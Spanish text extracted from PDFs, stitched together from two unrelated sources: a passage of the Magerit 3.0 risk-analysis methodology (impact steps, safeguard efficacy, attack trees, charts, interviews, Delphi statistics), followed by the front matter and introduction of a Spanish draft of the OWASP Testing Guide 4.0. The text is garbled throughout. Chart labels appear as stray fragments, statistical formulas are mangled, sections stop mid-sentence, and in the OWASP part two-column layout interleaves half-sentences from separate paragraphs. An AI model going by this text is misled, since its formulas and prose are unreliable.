y la pérdida anual se estima en 4.500 euros.
10
6
coste
4
0
15m
30m
1h
2h
6h
1d
2d
S1
1s
2s
1m
2m
6m
1a
total
duración de la parada
donde se observa una serie de escalones de interrupción que terminan con la destrucción total o
permanente del activo.
En los párrafos siguientes se indica como analizar este tipo de dimensiones, bien sea de forma
cualitativa (escala discreta de niveles de valor) o cuantitativa (valor continuo).
Los escalones.
Se determina una serie, ordenada, de escalones de valoración:
E = { e 1 , e 2 , ..., e n }, donde e 1 < e 2 < ... < e n
Cada escalón refleja un tiempo de parada (ver gráfica ilustrativa anterior).
El valor acumulado.
Se calculará independientemente (en paralelo) para cada escalón.
Es decir, para cada activo se estima un valor propio y un valor acumulado en cada escalón.
Ejemplo.
Una unidad administrativa proporciona un servicio de reclamaciones que, tradicionalmente,
se ha prestado de forma escrita: el afectado reclama por carta y se le responde en el plazo
máximo de 1 semana. Actualmente ha introducido una ventanilla electrónica alternativa en la
que se ha considerado excelente una respuesta en menos de 1 hora (en horario de atención
al público). A partir de una hora, la imagen ofrecida a los ciudadanos empieza a resentirse. Si
el servicio se demora más de un día, se considera inútil, aunque de una gravedad relativa
pues siempre queda la opción de la reclamación por escrito.
activo 1h 1d 1s
Ejemplo.
En el ejemplo anterior, un virus informático provoca una detención de unas 48 horas. El im-
pacto en el servidor es [5], lo mismo que en el servicio web. El impacto repercutido en el ser-
vicio escrito es [0].
Ejemplo.
En el caso anterior, se puede desplegar un sistema antivirus que permite reactivar el servicio
en 6 horas. Se dice que su eficacia está en el escalón de las 6 horas.
5 El razonamiento es como sigue. Si una parada superior a x1 horas supone un perjuicio v1, y una parada
superior a x2 horas, un perjuicio v2; entonces, una parada de x horas, siendo x1 …≤ x < x2, supone un
perjuicio v1, dado que no ha llegado al nivel x2.
Donde el valor especial “na” 7 se comporta como elemento neutro en las operaciones.
De forma que, de un conjunto de salvaguardas alternativas se requiere al menos una que sea
efectiva. Y que, de un conjunto de salvaguardas concurrentes, la eficacia la marca la peor de
ellas.
La degradación residual.
Si el activo, sin protección, se posicionada en el escalón “e d “ de degradación, gracias a las salva-
guardas se colocará en el escalón propuesto como escalón de eficacia, “e s “; pero modulado por la
eficacia “ei” frente al impacto, resultado en un escalón residual “e r “:
r = ⎣d − ((d − s) × ei)⎦ 8
El impacto residual.
Es el valor correspondiente al escalón residual:
impacto_residual = valor[e r ]
Ejemplo.
En el caso anterior, si se despliega un sistema antivirus que permite reactivar el servicio en 6
horas, el impacto residual en servidor y servicio web quedan en [3].
Si se desplegara un sistema antivirus que garantizase la reposición del servicio en 30 minu-
tos, el impacto residual sería [0].
La frecuencia residual.
Se empleará el modelo cualitativo o cuantitativo, según corresponda.
6 Un centro de respaldo que empieza a funcionar en 48 horas es inútil frente a amenazas que detienen el
servicio durante 6 horas.
7 na: no aplica.
8 La notación ⎣v⎦ indica el entero que resulta de un redondeo por defecto.
Paquete de salvaguardas.
Frente a una amenaza se despliega un paquete de salvaguardas que no es sino un conjunto de
salvaguardas singulares acumuladas sobre un activo. Las diferentes salvaguardas se pueden
acumular de forma concurrente (todas son necesarias para surtir efecto), de forma excluyente (só-
lo tiene efecto una de un conjunto) o de forma aditiva (cuantas más, mejor).
ps::= salvaguarda
| todas(ps 0 , ps 1 , ...)
| algunas (ps 0 , ps 1 , ...)
| una (ps 0 , ps 1 , ...)
e razonamiento
e=1 si una salvaguarda es idónea (100% eficaz)
0 < e < 1 si una salvaguarda es insuficiente
e=0 si una salvaguarda no sirve para nada
e = na i una salvaguarda no tiene sentido en este contexto
La eficacia de la salvaguarda depende tanto de su capacidad natural para proteger el activo como
de la calidad de su despliegue. El valor de la eficacia recoge ambos aspectos en un único pará-
metro.
Donde el valor especial “na” se comporta como elemento neutro en las operaciones de cálculo del
máximo, producto o suma.
De forma que, de un conjunto de salvaguardas concurrentes, la eficacia es la media de ellas; de
un conjunto de salvaguardas aditivas, la eficacia de las salvaguardas se acumula, con un límite
del 100%; y de un conjunto de salvaguardas alternativas, la eficacia la marca la mejor.
9 El valor medio se calcula de la forma habitual: se suman las eficacias diferentes de NA y se divide por el
número de sumandos.
e(ps) = Σ k e(ps k ) × p k / Σk p k
El caso particular de que todas las salvaguardas sean igual de importantes, se consigue tomando
“p = 1”.
Resumen
Los árboles de ataque son una herramienta gráfica para analizar y presentar qué puede pasar y
cómo lo prevenimos. Capturan de alguna forma el razonamiento del atacante y permiten anticipar-
se a lo que pudiera ocurrir.
10 Los cálculos suelen ser sencillos y permiten trabajar con diferentes niveles de refinamiento. Los nodos OR
cuestan lo que el más barato de sus hijos. Los nodos AND suman los costes. En el caso de analizar cono-
cimientos, los nodos OR requieren en conocimiento más bajo, mientras que los nodos AND requieren el
conocimiento del hijo más sofisticado. Nótese que para tomar decisiones combinadas hay que ir al último
nodo de detalle, pues frecuentemente lo más barato y lo más sofisticado son condiciones contradictorias.
2.3.4. Referencias
• J. Viega et al., “Risk Analysis: Attack Trees and Other Tricks”, Software Development Maga-
zine, August 2002.
• A.P. Moore et al., “Attack Modeling for Information Security and Survivability”, Software En-
gineering Institute, Carnegie Mellon University, Technical Note CMU/SEI-2001-TN-001,
2001.
• B. Schneier, “Secrets and Lies: Digital Security in a Networked World”, John Wiley & Sons,
2000.
• B. Schneier, “Attack Trees: Modeling Security Threats”, Dr. Dobb's Journal, December 1999.
ISO 31010
ISO/IEC 31010:2009, Risk management — Risk assessment techniques.
UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo.
Esta norma introduce, a título informativo, multitud de técnicas para valorar diferentes magnitudes
para analizar riesgos. Aunque los árboles de ataque no aparecen como tales, hay varias técnicas
cercanas que analizan secuencias de ataque:
B.5 Análisis preliminar de peligros (PHA)
B.7 Análisis de riesgos y puntos de control críticos (HACCP)
B.14 Análisis de árbol de fallos (FTA)
B.15 Análisis del árbol de sucesos (ETA)
B.16 Análisis de causa-consecuencia
B.17 Análisis de causa-y-efecto
B.18 Análisis de capas de protección (LOPA)
B.19 Análisis de árbol de decisiones
B.21 Análisis de pajarita
B.26 Estadísticas y redes Bayesianas
3. Técnicas generales
En este capítulo nos referiremos a técnicas generales que, entre otros casos, son de utilizad en el
desarrollo de un proyecto de análisis y gestión de riesgos. No obstante su generalidad, cuando
procede se ha indicado cómo se aplican en el contexto del análisis y gestión de riesgos. Las indi-
caciones dadas en este libro complementan a las presentadas a lo largo de la metodología.
Se han considerado de especial interés:
1. técnicas gráficas: histogramas, diagramas de Pareto y de tarta
2. sesiones de trabajo: entrevistas, reuniones y presentaciones
3. valoraciones Delphi
que se desarrollan en las siguientes secciones.
Estas gráficas permiten acumular gran cantidad de información. Informalmente, se puede decir
que son más apreciadas por personas con perfil técnico.
En este tipo de diagramas es fácil recopilar todos los valores. A veces se introducen líneas hori-
zontales de nivel para marcan umbrales: valores mínimos o máximos para alguna toma de deci-
siones.
Informalmente, se puede decir que son presentaciones apreciadas por personas con perfil técnico.
A veces se marcan algunos niveles (circunferencias) con valores especiales tales como umbrales
mínimos o cotas máximas. A veces se rellena la superficie abarcada, aunque otras veces se pin-
tan sólo las líneas del perímetro. Las superficies son útiles cuando no se da el caso de que un
área “tape” a otra. Las líneas siempre son utilizables.
Este tipo de diagramas permiten:
• sintetizar gráficamente el equilibrio o desequilibrio en varios ejes
• acumular perfiles de máximos o de mínimos
• mostrar la evolución temporal
Informalmente, se puede decir que son presentaciones apreciadas por personas con perfil geren-
cial o de dirección.
3.4.5.1. Construcción
1. Seleccionar las categorías lógicas
2. Reunir datos: valor para cada categoría
3. Ordenar los datos de mayor a menor a menor valor
• a menudo conviene introducir una nueva categoría “otros” para agrupar los datos de me-
nor valor para los que no se requiere detalle; esta categoría siempre es la última
4. Calcular el valor agregado para cada categoría
• y calcular el porcentaje del total que cada categoría representa
5. Trazar los ejes:
• eje horizontal (x) para las categorías
• eje vertical (Y) primario, para la magnitud propia del valor a representar;
puede ser lineal o logarítmica, según convenga
• eje vertical (Y) secundario, para el porcentaje del total: lineal
6. De izquierda a derecha trazar las barras para cada categoría. Si existe una categoría “otros”,
debe ser colocada al final, sin importar su valor. Es decir, que no debe tenerse en cuenta al
momento de ordenar de mayor a menor la frecuencia de las categorías.
7. Trazar el gráfico para el porcentaje agregado
8. Analizar la gráfica para determinar los “pocos vitales”
[S_T_remota]
tramitación vía
www
[D_económicos]
datos
económicos
[S_T_presencial]
tramitación
Pasos 5, 6 y 7: dibujar la gráfica
presencial
[S_notificación]
notificación
telemática
activos
[D_normativa]
normativa legal
[S_info]
información de
normativa
OTROS
0%
20%
40%
60%
80%
100%
riesgo
agregado
Aunque los datos pueden ordenarse de la forma que más interese en cada momento, es frecuente
usar una ordenación de valor decreciente (siguiendo el procedimiento indicado para los diagramas
de Pareto).
Los diagramas de tarta no permiten presentar muchos datos simultáneamente; pero si son una
indicación muy gráfica de cómo las diferentes partes contribuyen al total.
3.6.1. Entrevistas
Las entrevistas son reuniones con una persona o un grupo de personas con el objetivo de recabar
cierta información. Las entrevistas se dicen estructuradas cuando se atiene a una serie de pregun-
tas planificadas sin margen para la improvisación. Las entrevistas se dicen libres cuando, exis-
tiendo un objetivo claro, no existe un formulario rígido.
En proyectos de análisis y gestión de riesgos suelen practicarse entrevistas semi-estructuradas en
las que, existiendo un guión preestablecido de preguntas, el entrevistado tiene margen para ex-
tenderse en puntos no previstos o, más frecuentemente, responderlas en un orden diferente al
previsto. En cualquier caso el guión se emplea para no olvidar nada.
Por ser más precisos, en las primeras tareas (T1.1.1, Determinar la oportunidad) es casi imposible
disponer de un cuestionario rígido, y el entrevistado debe disfrutar de una elevada flexibilidad. En
las tareas de descubrimiento (como, por ejemplo, T2.1.1, Identificación de activos) las entrevistas
son semi-estructuradas, usando el cuestionario como guía que hay que adaptar. En las tareas de
detalle (como, por ejemplo, T2.1.3, Valoración de activos), el margen de maniobra está fuertemen-
te pautado, usándose entrevistas estructuradas.
El mayor volumen de entrevistas en un proyecto AGR se encuentra en las tareas del proceso P2,
Análisis de riesgos, en el que hay que centrarse especialmente.
Las actividades A2.1 (caracterización de los activos), A2.2 (caracterización de las amenazas) y
A2.3 (caracterización de las salvaguardas) del proceso P2 (análisis de riesgos), permiten conocer
los elementos objeto del análisis de riesgos, identificándolos, valorándolos y relacionándolos. Para
capturar este conocimiento se procede por medio de una serie de entrevistas con los participan-
tes, según se determinó en la tarea T1.3.2 (organizar a los participantes) y de acuerdo al plan del
proyecto (T1.3.3). Estas entrevistas tienen una importancia crucial porque la información a recoger
condiciona el conocimiento del equipo del proyecto (ajeno en parte al funcionamiento del dominio
o sea dependiente de los conocedores de su comportamiento cotidiano). La recogida de informa-
ción es una operación delicada que exige una buena sintonía entre los participantes para no que
no quede oculta (ni voluntaria ni involuntariamente) alguna información que posteriormente pudie-
ra revelarse importante y, al tiempo, no caer en un excesivo nivel de detalle que impida separar lo
esencial de lo accesorio.
Por todo ello es necesario:
Durante la entrevista
5. Informar al entrevistado de los principales conceptos relacionados con la seguridad y la de
los sistemas de información, en un grado que depende de su información y experiencia en
la materia.
6. Recordar los objetivos de cada entrevista al entrevistado.
7. Perfilar el entorno de trabajo del entrevistado.
8. Recabar las funciones y objetivos del entrevistado.
9. Recabar el modo de actuación del entrevistado.
10. Identificar los medios de que dispone para realizar las funciones y del personal a su cargo.
11. Identificar los procesos realizados y de la información manejada.
12. Identificar posibles situaciones conflictivas (internas o externas, accidentales o provoca-
das).
Para la adquisición de este conocimiento puede ser necesario entrevistar a diferentes colectivos
dentro de la Organización:
• dirección o gerencia, que conocen las consecuencias que para la misión de la Organización
tendrían los incidentes
• responsables de los servicios, que conocen los servicios que se manejan y las consecuen-
cias de la no prestación del servicio o de su prestación degradada
• responsables de los datos, que conocen los datos que se manejan, su valor y las conse-
cuencias de los incidentes que pudieran afectarles
• responsables de sistemas de información y responsables de operación, que:
• conocen qué sistemas hay en operación
• tienen el conocimiento histórico de lo que ha pasado anteriormente
• conocen las consecuencias de un incidente
• conocen las salvaguardas técnicas implantadas
• conocen las actividades en curso relacionadas con la seguridad de los sistemas
3.6.2. Reuniones
Las reuniones tienen como objetivo obtener información que se encuentra repartida entre varias
personas, tomar decisiones estratégicas, tácticas u operativas, transmitir ideas sobre un determi-
nado tema, analizar nuevas necesidades de información, así como comunicar los resultados obte-
nidos como consecuencia de un estudio.
Para realizar una reunión es necesario designar a las personas que deben participar en ella y de-
terminar el lugar en el que poder llevarla a cabo. Las directrices básicas de una reunión son:
• Preparar y convocar la reunión (orden del día)
• Realizar la reunión
• Consolidar el resultado de la reunión
• Elaborar el acta de reunión
Previamente a la convocatoria de la reunión, se definen los objetivos, se planifica el método de
trabajo que se va a seguir y el tiempo del que se dispone, se eligen los participantes y se prepara
el material necesario.
Después de la preparación, es imprescindible enviar al usuario la convocatoria con el orden del
día de la reunión. Este orden incluye la fecha, hora de inicio, hora de finalización prevista, lugar,
3.6.3. Presentaciones
El objetivo de las presentaciones es la comunicación de avances, conclusiones y resultados por
parte del equipo de trabajo al auditorio que corresponda. Se llevan a cabo con el fin de informar
sobre el estado de un proyecto en su totalidad o de alguno de los procesos, o exponer uno o va-
rios productos finales de un proceso para su aprobación.
En primer lugar se establece el alcance de la presentación, determinando cuál es el objetivo prin-
cipal y qué contenido general se quiere comunicar.
Una vez que están claros estos puntos, se inicia la preparación de la presentación considerando
quién es el ponente, qué tema se va a exponer, cuál va ser la duración estimada y a qué tipo de
audiencia o auditorio va dirigida la presentación considerando, a su vez, el nivel de decisión que
tengan sus componentes. Todos estos factores van a influir en el tono más o menos formal de la
presentación, en el nivel de detalle que requiere la presentación y en los medios a utilizar.
La eficacia de una presentación está directamente relacionada con el conocimiento que posea el
ponente sobre el tema a exponer, así como de la audiencia a quién va dirigido.
Las cuestiones que guían esta preparación responden a las preguntas, a quién se dirige, qué se
espera conseguir, de cuánto tiempo se dispone, dónde se va exponer y con qué medios.
Una vez analizados todos estos aspectos, se estructura el mensaje que se quiere transmitir a la
audiencia de forma que sea significativo y esté bien organizado. Su estructura se apoya en los
objetivos y en el concepto esencial que se está tratando y se divide en una apertura o introduc-
ción, una visión previa, el cuerpo del tema, una revisión y la conclusión final. Previamente, el po-
nente debe decidir cuál es el enfoque más eficaz que le quiere dar al tema que va a exponer en
función de la audiencia a quien va dirigido.
Para conseguir el objetivo de una presentación no es suficiente preparar de una forma estructura-
da el mensaje, sino que además, el contenido se debe exponer de una forma convincente, utili-
zando pruebas o materiales de apoyo que refuercen la credibilidad a la audiencia.
Por este motivo es importante seleccionar cuidadosamente el material de apoyo que se va a utili-
zar como pueden ser datos estadísticos, análisis de resultados, etc.
También tiene especial relevancia escoger los apoyos audiovisuales oportunos que aclaren con-
ceptos o datos difíciles de captar, resaltar puntos significativos, reforzar la comunicación verbal,
despertar interés, cambiar el ritmo de la presentación, etc. Habrá que seleccionar los temas que
requieren mayor soporte audiovisual.
Conviene señalar que no se debe utilizar un número excesivo de medios ya que no son un fin en
sí mismos y podrían dispersar la atención de la audiencia convirtiéndose en fuente de posibles
imprevistos por fallos técnicos y repercutiendo negativamente en el ritmo de la presentación. Por
este motivo, es importante conocer las ventajas e inconvenientes de cada medio como son piza-
rras, transparencias, diapositivas, vídeos, ayudas informatizadas, etc., para seleccionar el más
apropiado y garantizar el éxito de la presentación.
Antes de iniciar la exposición, habrá que asegurar la disponibilidad de todos los recursos materia-
les necesarios que se hayan considerado oportunos en la preparación de la presentación.
3.6.4. Referencias
• “Managing Information Security Risks: The OCTAVE Approach”, C.J. Alberts and A.J. Doro-
fee, Addison-Wesley Pub Co; 1st edition (July 9, 2002)
http://www.cert.org/octave/
• Magerit, “Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información”,
MAP, versión 1.0, 1997
http://www.csi.map.es/csi/pg5m20.htm
• ISO 31010
ISO/IEC 31010:2009, Risk management — Risk assessment techniques.
UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo.
B.2 Entrevistas estructuradas y semiestructuradas
11 “Delphi” es la forma inglesa de pronunciar Delfos, población griega famosa por su oráculo. Pese al origen
fonético, el método usado por el Oráculo de Delphos (adivinación) no tenía nada que ver con el usado
con el método Delphi (consenso de opinión entre expertos). Delphi basa la calidad de sus resultados en
la hipótesis de que cuando no existe un conocimiento preciso de la realidad, lo mejor que se puede hacer
es recoger la opinión, consensuada, de un grupo lo más amplio posible de expertos en la materia.
Se elabora un cuestionario
¿cuánto vale X?
Se distribuye el cuestionario
Se distribuye no
1. el cuestionario ¿consenso?
2. las respuestas
si
ya está
En sentido estricto, Delphi no es tanto un método como un conjunto de técnicas que se aplican
según las circunstancias. Algunos aspectos hay que determinarlos en cada caso:
Número de participantes.
Se estima que el número ideal se encuentra entre 15 y 35 expertos. Aplicado al análisis de
riesgos, se pueden establecer grupos amplios en temas generales (por ejemplo, frecuencia
típica de una amenaza o idoneidad de una salvaguarda para un riesgo); pero en temas pun-
tuales es difícil pasar de unos pocos participantes (por ejemplo, para valorar un activo).
Número de rondas.
La segunda ronda es necesaria salvo que haya un consenso suficiente en la primera. Suce-
sivas rondas pueden dar una opinión más refinada; pero no esto no siempre se consigue por
diferentes motivos:
• los expertos muestran rápidamente síntomas de agotamiento, disminuyendo su disposi-
ción a colaborar
• probablemente lo que está mal es el diseño del cuestionario y más vale revisarlo que in-
sistir en el error
Como recomendación general para proyectos de análisis y gestión de riesgos, se puede
centrar en número estándar en dos rondas.
Mediana
Habiendo ordenado los valores x i en orden ascendente (de menor a mayor), se deno-
mina mediana al primer valor que deja por debajo al 50% de los datos; es decir al va-
lor en la posición n 2
Desviación estándar o típica
n
1 2
xi x
n 1 i 1
Desviación media
n
1
desviación media xi x
ni 1
Cuartiles. Habiendo ordenado los valores en orden ascendente, se definen 3 puntos de interés
Q1: primer valor que deja por debajo al 25% de los datos
Q2: primer valor que deja por debajo al 50% de los datos (la mediana)
Q3: primer valor que deja por debajo al 75% de los datos
© Ministerio de Hacienda y Administraciones Públicas página 40 (de 42)
Magerit 3.0 Delphi
Recorrido intercuartílico
Se define como la distancia Q3 – Q1.
Es el rango que recoge las opiniones del 50% de los expertos más “centrados”.
Para determinar el valor de consenso se pueden utilizar la media o la mediana, si bien esta última
es habitualmente más adecuada por ser inmune a las opiniones más extremas.
Para determinar la dispersión se puede utilizar la desviación estándar, la media o el recorrido in-
tercuartílico. La desviación estándar da una importancia mayor a la existencia de respuestas muy
alejadas de la media, lo que suele considerarse mala idea. El recorrido intercuartílico es el más
adecuado para desechar opiniones extremas.
En cualquier caso, cuando se remiten los resultados de una ronda para la siguiente ronda, con-
viene acompañar los estadísticos de un histograma o diagrama de frecuencia de las respuestas
agrupadas en intervalos. Sobre este histograma conviene indicar algunos los valores importantes:
• la mediana o cuartil Q3
• la media
• el cuartil Q1
• el cuartil Q3
• los valores extremos: los más alejados por arriba y por abajo
3.7.3.2. Votaciones
Cuando las respuestas no se pueden asociar a un valor numérico sobre una escala continua de
valores, hay que recurrir a técnicas de votación.
Sea una pregunta con N posibles respuestas, de las que hay que determinar cual es más adecua-
da.
Una opción es pedirle al experto que valore de 0 a 10 la conveniencia de cada una de las posibles
respuestas. En el análisis se puede determinar la valoración media recibida por cada respuesta.
En la siguiente ronda, el experto puede estar de acuerdo con la puntuación de consenso, o seguir
insistiendo en su opinión divergente.
La valoración de consenso y la medida de dispersión se pueden estimar estadísticamente (ver
sección anterior).
Otra opción es pedirle al experto que seleccione las 5 mejores respuestas y les asigne 5 puntos a
la mejor, 4 a la segunda mejor, 3 a la tercera, 2 a la cuarta y uno a la quinta 12 . En el análisis se
suman los puntos recibidos por cada respuesta para determinar su posición relativa en la ordena-
ción de consenso. En la siguiente ronda, el experto puede estar de acuerdo en la ordenación de
consenso, o seguir insistiendo en su opinión divergente.
3.7.4. Resumen
Se pueden resumir los rasgos esenciales de un proceso Delphi en los siguientes puntos:
• Anonimato de respuestas, que reduce las distorsiones de personalidades dominantes que
pudieran producirse en reuniones o comités de expertos.
• ‘Feedback’ o realimentación controlada por medio de interacciones sucesivas de modo que
en cada una el experto posee la información que se refiere a la interacción previa.
• Análisis estadístico de las respuestas del grupo, que permite ir consiguiendo el acuerdo ra-
zonado de los expertos evitando cualquier modo de presión para obtener modificaciones en
sus puntos de vista.
• Énfasis puesto en la opinión informada, que en ocasiones puede ser contraria a la más co-
mún o generalizada en la sociedad.
3.7.5. Referencias
• ISO 31010
ISO/IEC 31010:2009, Risk management — Risk assessment techniques.
UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo.
B.3 Técnica Delphi
FERNANDO VELA
ROBERTO ANDRADE
QUITO- ECUADOR
Indice
0
Página 6-8
1
Página 9-12
Frontispicio
2
Página 13-37
Introduction
Principios de la prueba
Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad
3
Página 38-41
Resumen
4
Páginas 42-313
Introducción y objetivos
Recopilación de información
Revision de los meta archivos del servidor web en busca de fugas de información (OTG-INFO-003)
Revisión de los comentarios del sitio web y los metadatos en busca de fujas de información (OTG-INFO-005)
Revisión archivos viejos, copias de seguridad y archivos no referenciados para Información sensible (OTG-CONFIG-004)
Pruebas de autenticación
Pruebas de autorización
Pruebas en Oracle
Pruebas de MySQL
Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003)
Prueba del número de veces que limita el uso de una función (OTG-BUSLOGIC-005)
5
Páginas 314-331
Apéndice
Libros Blancos
Libros
Categorías Fuzz
Codificación de entrada
Codificación de salida
0
más importante de nuestro tiempo. El dramático aumento de las
aplicaciones web para negocios, redes sociales, etc. sólo ha
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
7
Guia de pruebas 4.0 "Borrador"
Es obvio que no se puede construir una aplicación segura sin realizar pruebas
de seguridad en la misma. Las pruebas son parte de un enfoque más amplio en
la construcción de un sistema seguro. Muchas organizaciones de desarrollo de
software no incluyen pruebas como parte de su procedimiento estándar de
desarrollo de software. Lo que es peor aún, muchos proveedores de seguridad
entregan pruebas con diversos grados de calidad y rigor.
Crear una guía como esta es una gran tarea que requiere de la experiencia de
En conjunto con otros proyectos de la OWASP como la Guía de Revisión de
cientos de personas alrededor del mundo. Hay muchas maneras diferentes
Códigos, la Guía de Desarrollo y Herramientas como OWASP ZAP, es un
para detectar fallos de seguridad y esta guía captura el consenso de los
gran comienzo para la construcción y mantenimiento de aplicaciones seguras. principales expertos sobre cómo realizar esta prueba con rapidez, exactitud y
La guía de desarrollo mostrará para su proyecto cómo diseñar y construir una eficiencia.OWASP da a personas de seguridad con conocimientos afines la
aplicación segura, la Guía de Revisión de Códigos le dirá cómo verificar la capacidad de trabajar conjuntamente y formar un enfoque de práctica de
seguridad del código de origen de su aplicación, y esta Guía de Pruebas le liderazgo para un problema de seguridad.
mostrará cómo verificar la seguridad de su aplicación en funcionamiento. Yo
recomiendo utilizar estas guías como parte de sus iniciativas para la seguridad
de su aplicación.
La importancia de tener esta guía en forma totalmente libre y abierta es • Los desarrolladores deben usar esta guía para asegurarse de que están
importante para la misión de las fundaciones. Da a cualquiera la capacidad de produciendo códigos seguros. Estas pruebas deben ser parte de los
entender las técnicas usadas para detectar problemas de seguridad comunes. procedimientos normales de los códigos y de la unidad de pruebas.
La seguridad no debe ser un arte oscuro o un secreto cerrado que sólo unos
pocos pueden practicar. Debe estar abierta a todos y no ser exclusiva para los
profesionales en seguridad, sino también para desarrolladores de control de
calidad y gerentes técnicos. El proyecto para la construcción de esta guía • Los evaluadores de software y control de calidad deben usar esta guía para
mantiene la experiencia en manos de la gente que lo necesita; usted, yo y ampliar el conjunto de casos de prueba que emplean en las aplicaciones.
cualquier persona que participa en la construcción de software. Atrapar estas vulnerabilidades tempranamente es un ahorro considerable de
tiempo y esfuerzo más adelante.
Esta guía debe abrirse paso hasta las manos de los desarrolladores y
evaluadores de software. No hay suficientes expertos de seguridad de • Los especialistas en seguridad deben usar esta guía en combinación con
aplicaciones en el mundo para hacer una abolladura significativa en el otras técnicas como una manera de verificar que no se haya escapado algún
problema general. agujero de seguridad en la aplicación.
• Los gerentes de proyectos deben considerar la razón por la que esta guía
existe y que las cuestiones de seguridad se manifiestan mediante errores de
La responsabilidad inicial de seguridad de las aplicaciones debe recaer en los código y diseño.
hombros de los desarrolladores; ellos escriben el código. No debería ser una
sorpresa que los desarrolladores no están produciendo codificación segura si
no la están probando o consideran los tipos de errores que generan la
vulnerabilidad. Lo más importante cuando se realizan pruebas de seguridad es recordar que
se deben priorizar continuamente. Hay un número infinito de posibilidades
para que una aplicación pueda fallar, y las organizaciones siempre han tenido
tiempo y recursos limitados. Asegúrese de que el tiempo y los recursos se
Mantener esta información actualizada es un aspecto crítico de este proyecto utilicen adecuadamente. Trate de concentrarse en los agujeros de seguridad
de guía. Adoptando el enfoque wiki, la comunidad OWASP puede que son un riesgo real para su negocio. Trate de contextualizar el riesgo en
evolucionar y ampliar la información en esta guía para mantener el ritmo con cuanto a la aplicación y sus usos.
el panorama de la veloz amenaza de seguridad a las aplicaciones.
Esta guía se visualiza mejor como un conjunto de técnicas que puede utilizar
para encontrar diferentes tipos de agujeros de seguridad. Pero no todas las
técnicas son igual de importantes. Trate de evitar el uso de la guía como una
Esta guía es un gran testimonio de la pasión y energía que nuestros miembros lista de verificación. Nuevas vulnerabilidades siempre se manifestarán y
y voluntarios del proyecto han dedicado a este tema. Sin duda ayudará a ninguna guía puede ser una lista exhaustiva de "cosas por probar", sino más
cambiar el mundo "una línea de código" a la vez. bien un gran lugar para comenzar.
En general, hay varios roles diferentes que pueden usar esta guía dentro de las
organizaciones:
Lo más importante, estas herramientas son genéricas; lo que significa que no
están diseñadas para un código personalizado, sino para aplicaciones en
general. Eso significa que mientras pueden encontrar algunos problemas de las aplicaciones, pero no es exhaustiva. Si encuentra errores, por favor
genéricos, no tienen suficiente conocimiento de la aplicación para que puedan agregue una nota en la página de discusión o haga el cambio usted mismo.
detectar la mayoría de los errores. En mi experiencia, los más graves Estará ayudando a miles de personas que utilizan esta guía.
problemas de seguridad son los que no son genéricos, sino profundamente
entrelazados en su lógica de negocio y diseño de la aplicación personalizada.
Llamado a la acción
Eoin Keary, Miembro de la Junta Directiva de OWASP, Abri 19, 2013
Con V4 nos dimos cuenta de una nueva guía que será la guía estándar
por defecto para realizar pruebas de Penetración de Aplicaciones
Web. -Matteo Meucci.
Redactar la Guía de Pruebas ha demostrado ser una tarea difícil. Fue un reto Un principio básico de la ingeniería de software es que usted no puede controlar lo
conseguir consenso y desarrollar contenidos que permitan aplicar los conceptos que no se puede medir [1]. Las pruebas de seguridad no son diferentes.
descritos en la guía, permitiendo a la vez que trabajen en su propio entorno y Desafortunadamente, medir la seguridad es un proceso difícil. Este tema no se
cultura. También fue un reto el cambiar el enfoque de las pruebas de pruebas de cubrirá en detalle aquí, ya que tendrá su guía propia (para una introducción, vea
penetración a pruebas integradas en el ciclo de vida de desarrollo de las [2]).
aplicaciones web.
Un aspecto que debe destacarse es que las medidas de seguridad son acerca de las
Sin embargo, el grupo está muy satisfecho con los resultados del proyecto. Muchos cuestiones técnicas específicas (por ejemplo, cómo prevalece una cierta
expertos de la industria y profesionales de seguridad, algunos de los cuales son vulnerabilidad) y cómo estos problemas afectan la economía del software. La
responsables de la seguridad del software en algunas de las empresas más grandes mayoría de personas técnicas comprenderán al menos las cuestiones
del mundo, están validando el marco de la prueba. Este marco ayuda a las fundamentales, o pueden tener una comprensión más profunda de las
organizaciones a probar sus aplicaciones web para crear software confiable y vulnerabilidades. Lamentablemente, pocos son capaces de traducir ese
seguro. El marco no solo resalta las áreas débiles, aunque este último es sin duda un conocimiento técnico en términos monetarios y cuantificar el costo potencial de las
subproducto de muchas de las guías y listas de verificación de OWASP. Así, vulnerabilidades al negocio del propietario de la aplicación. Hasta que esto no
decisiones difíciles tuvieron que tomarse, respecto a la conveniencia de ciertas ocurra, los gerentes de sistemas (CIO) no serán capaces de calcular un retorno
técnicas de prueba y tecnologías de pruebas. El Grupo entiende perfectamente que exacto de inversión en seguridad y, consecuentemente, asignar un presupuesto
no todos estarán de acuerdo con todas estas decisiones. Sin embargo, OWASP es apropiado para la seguridad de las aplicaciones.
capaz de alcanzar otros niveles y cambiar la cultura en el tiempo a través de
sensibilización y educación basadas en el consenso y la experiencia. Mientras que calcular el costo de software inseguro puede parecer una tarea
desalentadora, ha habido una cantidad significativa de trabajo en esta dirección. Por
ejemplo, en junio de 2002, el Instituto Nacional Estadounidense de Estándares
(NIST) publicó una encuesta sobre el costo del software inseguro en la economía
El resto de esta guía está organizado como se indica a continuación: Esta de Estados Unidos, debido a la inadecuada prueba de software [3]. Curiosamente,
introducción cubre los prerrequisitos de las pruebas de aplicaciones web y de su se estima que una mejor infraestructura de pruebas ahorraría más de un tercio de
alcance. También cubre los principios exitosos de pruebas y las técnicas de esos costos, o alrededor de $22 mil millones al año. Más recientemente, los
pruebas. El Capítulo 3 presenta el marco de pruebas de OWASP y explica sus vínculos entre la economía y la seguridad han sido estudiados por investigadores
técnicas y tareas en relación con las distintas fases del ciclo de vida del desarrollo académicos. Vea [4] para más información sobre algunos de estos esfuerzos.
de aplicaciones. El Capítulo 4 cubre cómo comprobar vulnerabilidades específicas
(por ejemplo, inyección de SQL) mediante inspección de código y pruebas de
penetración.
El marco descrito en este documento alienta a las personas a medir la seguridad a
través del proceso completo de desarrollo. Pueden, entonces, relacionar el costo del
software inseguro con el impacto que tiene en el negocio y, en consecuencia,
Para medir la seguridad: la economía del software inseguro desarrollar procesos de negocios adecuados y asignar recursos para manejar el
riesgo. Recuerde que la medición y pruebas de aplicaciones web son incluso más
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
11
Guia de pruebas 4.0 "Borrador"
